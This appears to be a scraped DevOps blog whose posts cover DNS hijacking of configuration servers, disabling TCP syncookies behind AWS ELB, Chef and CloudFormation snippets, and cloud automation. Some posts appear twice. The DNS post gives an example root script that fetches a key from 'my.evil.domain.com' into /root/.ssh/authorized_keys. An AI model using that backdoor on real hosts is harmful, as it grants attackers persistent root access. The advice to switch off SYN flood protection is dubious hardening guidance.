Every time I see a story like this, I freak out a little:
http://thehackernews.com/2013/10/worlds-largest-web-hosting-company_5.html
Long story short: DNS hijacking.
When we look at the cloud offering landscape we see cloud providers like Amazon, RackSpace, and Google, but there are also cloud management companies like RightScale and Scalr. These cloud management companies will sometimes lay in their own custom software bits that help aid in the configuration and management of a given compute resources.
In most cases ( and we can even include things like chef servers here as well ) the compute resource that is being managed will make a call out to the "control server" for instructions. But how does it know which server to contact? That's where DNS comes in, for example:
configuration.us-east-1.mycompany.com
Would be a DNS entry that actually points to:
cf-chef-01.stackName0.deploymentName0.regionName.domainName.TLD
The DNS eventually points to an IP, and the client makes the call.
If an attacker is able to hyjack mycompany.com, they could point configuration.us-east-1 at their own IP address. Most of these configuration management applications use some kind of authentication or validation to prove they are who they are. In the case of chef, the calls are wrapped in encrypted payloads that can only be decrypted by a key on the server side, which makes "man in the middle" attacks much more difficult.
In some cases the configuration management software simply makes a call to a worker queue which uses a basic username/password system. In this case one could simply wrap any type of generic worker queue with a "always pass authentication" switch that would always allow the client to successfully authenticate. This would allow you to control the client by simply injecting worker elements into the queue.
For example, we could create a worker element that runs the following script as root:
#!/bin/bash
curl -o /tmp/tmp.cache.r1234 http://my.evil.domain.com/public_key
cat /tmp/tmp.cache.r1234 >> /root/.ssh/authorized_keys
This would work great for any node that isn't in an VPC and is attached to a public IP. Other tickery could be used to extend the evilness of this hack, but the point is that if you can execute something on the remote box as root, you're pretty well fucked.
This is why DNS hijacking stories scare me a little.
Monday, October 7, 2013
Friday, October 4, 2013
tcp syn flooding ... why does this keep happening?
Linux itself is just a kernel, all of the crap around the kernel, from bash, to KDE is considered part of the distro. Linux distros come in many flavors, shapes and sizes. This is benificial to everyone as it allows for a few generic "types" of distros that can then specialize with further customizations. For example, Ubuntu is derived from the Debian base type. Similarly CentOS is derived from Red Hat Enterprise Linux.
The differences between CentOS and RHEL are mostly related to licensing and support. Red Hat the company publishes, maintains and supports the Red Hat Enterprise Linux ( RHEL ) distribution. Their product isn't Linux, it's actually supporting and maintaining the distribution around Linux. CentOS is not a product, it's maintained by the community according to their perfectly adequate community standards.
Amazon also makes it's own AMI. There AMI is specifically designed to work in their EC2 environment. The expectation is that this AMI will be used in a high traffic environment.
When having a discussion about which distribution to go with it's important to pay attention to the expectations of use. These expectations aren't always as obvious as the expectations around the Amazon AMI. Amazon is making it's expectations very clear:
"the instance that you use with this AMI will take significant amounts of traffic from one or may sources"
This expectation is set by the engineers that were paid large sums of money to ensure that these expectations are reflected in every decision made by the maintainers of the Amazon AMI. Amazon pinned their reputation on this AMI and they use it in their own production environments, that tells me quite a bit about what went into making this distro happen. They also support it as part of an enterprise support contract. All of these facts make the Amazon AMI a very solid choice for cloud operations.
Other distros, like CentOS are a far less clear on their expectations. For instance, CentOS seems to live in many worlds with no clear, specific role or specialization. However, certain choices made by the maintainer can give us an general idea of what the intent might be.
For example, if a distro made a choice to, by default, protect the system from a type of attack known as a "syn flood" you would see the following:
cat /proc/sys/net/ipv4/tcp_syncookies
1
This means that tcp_syncookies is enabled. This is a setting which says "don't allow too many people from a single IP address flood this computer."
This is great for desktops, but it's directly in contrast to how servers are supposed to work. This is exactly opposite of what you want in a high-volume environment.
It's a very easy fix, and in our case, all I had to do is add a single line to the startup scrip for the service nodes.
"echo 0 > /proc/sys/net/ipv4/tcp_syncookies\n",
Easy peasy.
Here's what you would see in EC2 if you were using an ELB:
The differences between CentOS and RHEL are mostly related to licensing and support. Red Hat the company publishes, maintains and supports the Red Hat Enterprise Linux ( RHEL ) distribution. Their product isn't Linux, it's actually supporting and maintaining the distribution around Linux. CentOS is not a product, it's maintained by the community according to their perfectly adequate community standards.
Amazon also makes it's own AMI. There AMI is specifically designed to work in their EC2 environment. The expectation is that this AMI will be used in a high traffic environment.
When having a discussion about which distribution to go with it's important to pay attention to the expectations of use. These expectations aren't always as obvious as the expectations around the Amazon AMI. Amazon is making it's expectations very clear:
"the instance that you use with this AMI will take significant amounts of traffic from one or may sources"
This expectation is set by the engineers that were paid large sums of money to ensure that these expectations are reflected in every decision made by the maintainers of the Amazon AMI. Amazon pinned their reputation on this AMI and they use it in their own production environments, that tells me quite a bit about what went into making this distro happen. They also support it as part of an enterprise support contract. All of these facts make the Amazon AMI a very solid choice for cloud operations.
Other distros, like CentOS are a far less clear on their expectations. For instance, CentOS seems to live in many worlds with no clear, specific role or specialization. However, certain choices made by the maintainer can give us an general idea of what the intent might be.
For example, if a distro made a choice to, by default, protect the system from a type of attack known as a "syn flood" you would see the following:
cat /proc/sys/net/ipv4/tcp_syncookies
1
This means that tcp_syncookies is enabled. This is a setting which says "don't allow too many people from a single IP address flood this computer."
This is great for desktops, but it's directly in contrast to how servers are supposed to work. This is exactly opposite of what you want in a high-volume environment.
It's a very easy fix, and in our case, all I had to do is add a single line to the startup scrip for the service nodes.
"echo 0 > /proc/sys/net/ipv4/tcp_syncookies\n",
Easy peasy.
Here's what you would see in EC2 if you were using an ELB:
- Instances are fine, everything is in "In Service" state.
- You run ab -n 10000 -c 500 http://your_host/hb
- About half way through the test the ELB goes nuts, all of the instances are in "Out of Service" state.
- The application is fine, but the operating system seems to be completely offline from the perspective of the load balancer, but you can ssh into the instance, and telnet works fine.
What's happening is that the box is basically being DDOS'd from the haproxy's that run as the ELB. This type of mitigation is only useful on desktops because this is usually handled by other points upstream when in the cloud or any kind of professionally built data center environment.
I remember writing about this many years ago while working at Deep Rock Drive, I'm just astonished that we still see this today in professional environments.
Sunday, September 29, 2013
Chef snippet: Creating a self-signed cert
Use this snippet to create a self-signed certificate in a few lines of chef:
server_ssl_req = "/C=US/ST=Several/L=Locality/O=Example/OU=Operations/CN=#{node[:fqdn]}/emailAddress=root@#{node[:fqdn]}"
execute "Create SSL Certs" do
command "openssl req -subj \"#{server_ssl_req}\" -new -nodes -x509 -out /etc/nginx/cert.pem -keyout /etc/nginx/key.pem"
only_if(!File.exists?( "/etc/nginx/cert.pem" ).to_s)
end
Saturday, September 28, 2013
Automation in the cloud
Automation and the cloud
Far too often I've worked for companies that are using the cloud incorrectly. It wasn't until recently that a college put it perfectly when he said "we use the cloud like it's just another data center." I couldn't have put it better myself.
When we talk about this "cloud" stuff we're talking about a fundamental shift in thinking and expectations. I see this shift in much the same was as the change in expectations between the first time I went to ESPN and going to ESPN now. About 10 years ago sites were flat, things were relatively easy and sites were not all that complicated. Take a look at any property out there what you get isn't a web page, it's an immersive experience tailored to your advertising profile.
We typically refer to this shift in expectations as "Web 2.0." Many years from now someone will make a documentary of sorts that tells the tale of the cloud story. In that story the word DevOps will be used to define the change in expectations that we're going through now. At the beginning of the story we have the traditional Linux/Unix engineers, or as I like to call them "bare metal folks." At the end of the story we have the DevOps engineers, or "cloud people" like me.
In my travels I have found that the traditional folks are generally more conservative, and thus an incredible value to me as a balance to my inventor energy. In most cases these minds forget that when moving into the cloud the change in expectations is absolutely vital for being successful in the cloud.
If you really do want to make this work there are a few basic ideas that you have to come to grips with.
Nodes are replaceable
The idea of web000.blah.us-west-1.aws.mydomain.tld is bad. What you're used to is an environment where a wiki page ( or similar documentation ) details each node, it's role, it's static IP assignment and other bits of information. In the cloud world this doesn't exist.
This is one of the reasons why people like me are constantly banging the automation drum. If a node has an issue in production, you simply trash it. There is the rare edge case where you might have to take a box out of rotation for investigation, RCA, whatever, but that node should never have a path back into production. Once it's out, it will never take production traffic again.
This is a significant hurdle for most people to get over, because it means that you have to trust the state of your environment to something like chef, puppet, ansibleworks.com or salt. In any case trusting that something else is going to be able to do this work is difficult.
Cloud people don't struggle with this as much since we start with a configuration management tool and work from there. If we know our automation works, then we know we can solve problems by simply trashing anything that appears broken.
Automate as much as you can
My mantra is "If it can't be automated, it shouldn't exist." That's a pretty lofty goal for sure, but we use this as a target, and it's okay if we don't hit the target every time. We allow for exceptions and focus our documentation efforts on those exceptions. Everything else we try to automate as much as we can.
+Brian Aker said recently in his keynote at LinuxCon/CloudOpen North America that they removed SSH from production.
Think about how this would work as a design philosophy. You start with the idea that you will have absolutely no access to a production resource, and no way to enable SSH at any point after it's deployed.
This would require that you have everything correct up to production, or in other words, your testing and automation, and automated testing is so locked down that you are absolutely confident that everything will work in production.
This is the fundamental lesson to be learned from cloud computing. It's not just a bunch of virtualization and "wasted cycles" it's an enforcement engine for proper design. If you can honestly say that you can safely remove SSH from all of your production bare metal resources and be perfectly fine with doing that, then you win. However, I know for a fact that the vast majority of data center operations would not work without SSH.
Good automation makes the cloud work. Remember, every time to solve a problem with a bash script a unicorn dies. Do your part to stop unicorn genocide and ban bash from your configuration management solution.
Virtualization doesn't suck
Let me clarify here: virtualization on the macro level does eat cycles to everything from memory usage to network IO. We're all well aware of this, we call it a cost, it's something you pay for to get something else. The cost buys us something that most of the bare metal people forget about: an API.
I can create 50 nodes that do something neat with a single command. You require six months of debate, committees, and purchase order red-tape to get new hardware. Once the hardware arrives you also eat the cost of racking everything, tracking the assets used in whatever horrible abomination tracks those bits, then, finally ( in most cases ) there is a semi-automated process to get the instance up.
After everything is said and done you've spend an enormous amount of time, energy and money on something you could have done in five minutes for much cheaper.
Adding capacity to a site is an example of such a use case.
I've always believed that the capacity of a single piece of hardware will never be able to compare to what can be done with many smaller things. If you need an actual use case for how this works take a look at how Amazon does ELB. Many virtualized haproxy nodes, not one giant piece of hardware. Heat ( part of OpenStack ) has a similar type of functionality that looks like ELB and just spins up haproxy nodes.
Summary
I predict that we're going to start seeing an imbalance of sorts when it comes to IT jobs. The bare metal folks will gravitate towards the few remaining companies that either specialize in a tailored "private cloud" experience ( like Blue Box Group or RackSpace ) or can justify running their own datacenters ( Facebook or Twitter being the obvious examples ).
In either case the pool of available jobs will decrease and employers will require more and more specialization in new hires. The sector will become a niche offering and eventually suffer from a dire lack of available, qualified people.
While this is happening, the cloud people will continue to accelerate on the cloud platforms and eventually reach the critical mass at which point we will have fully transitioned our expectations from "old and broken ESPN" to "rich and engaging ESPN." At which point I will eat cake.
Far too often I've worked for companies that are using the cloud incorrectly. It wasn't until recently that a college put it perfectly when he said "we use the cloud like it's just another data center." I couldn't have put it better myself.
When we talk about this "cloud" stuff we're talking about a fundamental shift in thinking and expectations. I see this shift in much the same was as the change in expectations between the first time I went to ESPN and going to ESPN now. About 10 years ago sites were flat, things were relatively easy and sites were not all that complicated. Take a look at any property out there what you get isn't a web page, it's an immersive experience tailored to your advertising profile.
We typically refer to this shift in expectations as "Web 2.0." Many years from now someone will make a documentary of sorts that tells the tale of the cloud story. In that story the word DevOps will be used to define the change in expectations that we're going through now. At the beginning of the story we have the traditional Linux/Unix engineers, or as I like to call them "bare metal folks." At the end of the story we have the DevOps engineers, or "cloud people" like me.
In my travels I have found that the traditional folks are generally more conservative, and thus an incredible value to me as a balance to my inventor energy. In most cases these minds forget that when moving into the cloud the change in expectations is absolutely vital for being successful in the cloud.
If you really do want to make this work there are a few basic ideas that you have to come to grips with.
Nodes are replaceable
The idea of web000.blah.us-west-1.aws.mydomain.tld is bad. What you're used to is an environment where a wiki page ( or similar documentation ) details each node, it's role, it's static IP assignment and other bits of information. In the cloud world this doesn't exist.
This is one of the reasons why people like me are constantly banging the automation drum. If a node has an issue in production, you simply trash it. There is the rare edge case where you might have to take a box out of rotation for investigation, RCA, whatever, but that node should never have a path back into production. Once it's out, it will never take production traffic again.
This is a significant hurdle for most people to get over, because it means that you have to trust the state of your environment to something like chef, puppet, ansibleworks.com or salt. In any case trusting that something else is going to be able to do this work is difficult.
Cloud people don't struggle with this as much since we start with a configuration management tool and work from there. If we know our automation works, then we know we can solve problems by simply trashing anything that appears broken.
Automate as much as you can
My mantra is "If it can't be automated, it shouldn't exist." That's a pretty lofty goal for sure, but we use this as a target, and it's okay if we don't hit the target every time. We allow for exceptions and focus our documentation efforts on those exceptions. Everything else we try to automate as much as we can.
+Brian Aker said recently in his keynote at LinuxCon/CloudOpen North America that they removed SSH from production.
Think about how this would work as a design philosophy. You start with the idea that you will have absolutely no access to a production resource, and no way to enable SSH at any point after it's deployed.
This would require that you have everything correct up to production, or in other words, your testing and automation, and automated testing is so locked down that you are absolutely confident that everything will work in production.
This is the fundamental lesson to be learned from cloud computing. It's not just a bunch of virtualization and "wasted cycles" it's an enforcement engine for proper design. If you can honestly say that you can safely remove SSH from all of your production bare metal resources and be perfectly fine with doing that, then you win. However, I know for a fact that the vast majority of data center operations would not work without SSH.
Good automation makes the cloud work. Remember, every time to solve a problem with a bash script a unicorn dies. Do your part to stop unicorn genocide and ban bash from your configuration management solution.
Virtualization doesn't suck
Let me clarify here: virtualization on the macro level does eat cycles to everything from memory usage to network IO. We're all well aware of this, we call it a cost, it's something you pay for to get something else. The cost buys us something that most of the bare metal people forget about: an API.
I can create 50 nodes that do something neat with a single command. You require six months of debate, committees, and purchase order red-tape to get new hardware. Once the hardware arrives you also eat the cost of racking everything, tracking the assets used in whatever horrible abomination tracks those bits, then, finally ( in most cases ) there is a semi-automated process to get the instance up.
After everything is said and done you've spend an enormous amount of time, energy and money on something you could have done in five minutes for much cheaper.
Adding capacity to a site is an example of such a use case.
I've always believed that the capacity of a single piece of hardware will never be able to compare to what can be done with many smaller things. If you need an actual use case for how this works take a look at how Amazon does ELB. Many virtualized haproxy nodes, not one giant piece of hardware. Heat ( part of OpenStack ) has a similar type of functionality that looks like ELB and just spins up haproxy nodes.
Summary
I predict that we're going to start seeing an imbalance of sorts when it comes to IT jobs. The bare metal folks will gravitate towards the few remaining companies that either specialize in a tailored "private cloud" experience ( like Blue Box Group or RackSpace ) or can justify running their own datacenters ( Facebook or Twitter being the obvious examples ).
In either case the pool of available jobs will decrease and employers will require more and more specialization in new hires. The sector will become a niche offering and eventually suffer from a dire lack of available, qualified people.
While this is happening, the cloud people will continue to accelerate on the cloud platforms and eventually reach the critical mass at which point we will have fully transitioned our expectations from "old and broken ESPN" to "rich and engaging ESPN." At which point I will eat cake.
Cloud formation and VPC's
CloudFormation with VPC's and VPN's.
Hardware VPN connections from our datacenter to our end points in the cloud.
VPC's are used on the cloud side because VPC's are awesome.
Everything is connected together such that we have a single VPC and multiple subnets that can all route on the VPN back to the bare metal resources.
I use tags on the VPC, Subnet, and NetworkACL objects to determine which resource to connect to.
What would be nice is a way to reference an existing resource by a search query objects.
For example:
{
"Resources": {
"ExistingVPC": {
"Type": "AWS::EC2::VPC",
"Search": {
"Dimension": { "Tag": "primary" }
}
}
}
}
I'm leaving quite a bit out here, but the basic idea is to have a search query to find an existing object. Additionally you could also include the ability to include the "Properties" hash as a series of overrides.
Hardware VPN connections from our datacenter to our end points in the cloud.
VPC's are used on the cloud side because VPC's are awesome.
Everything is connected together such that we have a single VPC and multiple subnets that can all route on the VPN back to the bare metal resources.
I use tags on the VPC, Subnet, and NetworkACL objects to determine which resource to connect to.
What would be nice is a way to reference an existing resource by a search query objects.
For example:
{
"Resources": {
"ExistingVPC": {
"Type": "AWS::EC2::VPC",
"Search": {
"Dimension": { "Tag": "primary" }
}
}
}
}
I'm leaving quite a bit out here, but the basic idea is to have a search query to find an existing object. Additionally you could also include the ability to include the "Properties" hash as a series of overrides.
Thursday, June 21, 2012
Weird string encoding issue with ruby net-ldap lib ( 0.3.1 )
Getting this error:
#
The fix was to enable some invalid encoding checks, so here is the original line ( ~23 net-ldap-0.3.1/lib/net/ber/core_ext/string.rb ):
self.encode('UTF-8').force_encoding('ASCII-8BIT')
After some playing around I found that this works rather well:
self.encode('UTF-8', invalid: :replace, undef: :replace, replace: '' ).force_encoding('ASCII-8BIT')
I couldn't find the git source for the 0.3.1 build, so I just downloaded the gem, and created a new repo.
You can download the gem from here:
https://docs.google.com/open?id=0Bwcyw39lMxDSODdpNTdObHk4bXc
I'm going to try to see if I can get this pushed upstream.
Monday, April 9, 2012
Why use git?
After some serious face time with git and a neat little addon called 'git flow' I've come up with my elevator pitch for using git:
- Git is designed to get out of your way and let your development awesomeness shine.
- Git is fast, mainly because things like history and checkpoints are all stored locally. Combined with it's compression bits it's actually much faster then most.
- Used with 'git flow' it can make complicated branching strategies and bug fix methodologies a breeze in big orgs with many developers across a disparate geographical area.
We use git here @hpcloud, and I can tell you it's amazing to see what these developers and engineers have done with it.
Subscribe to:
Posts (Atom)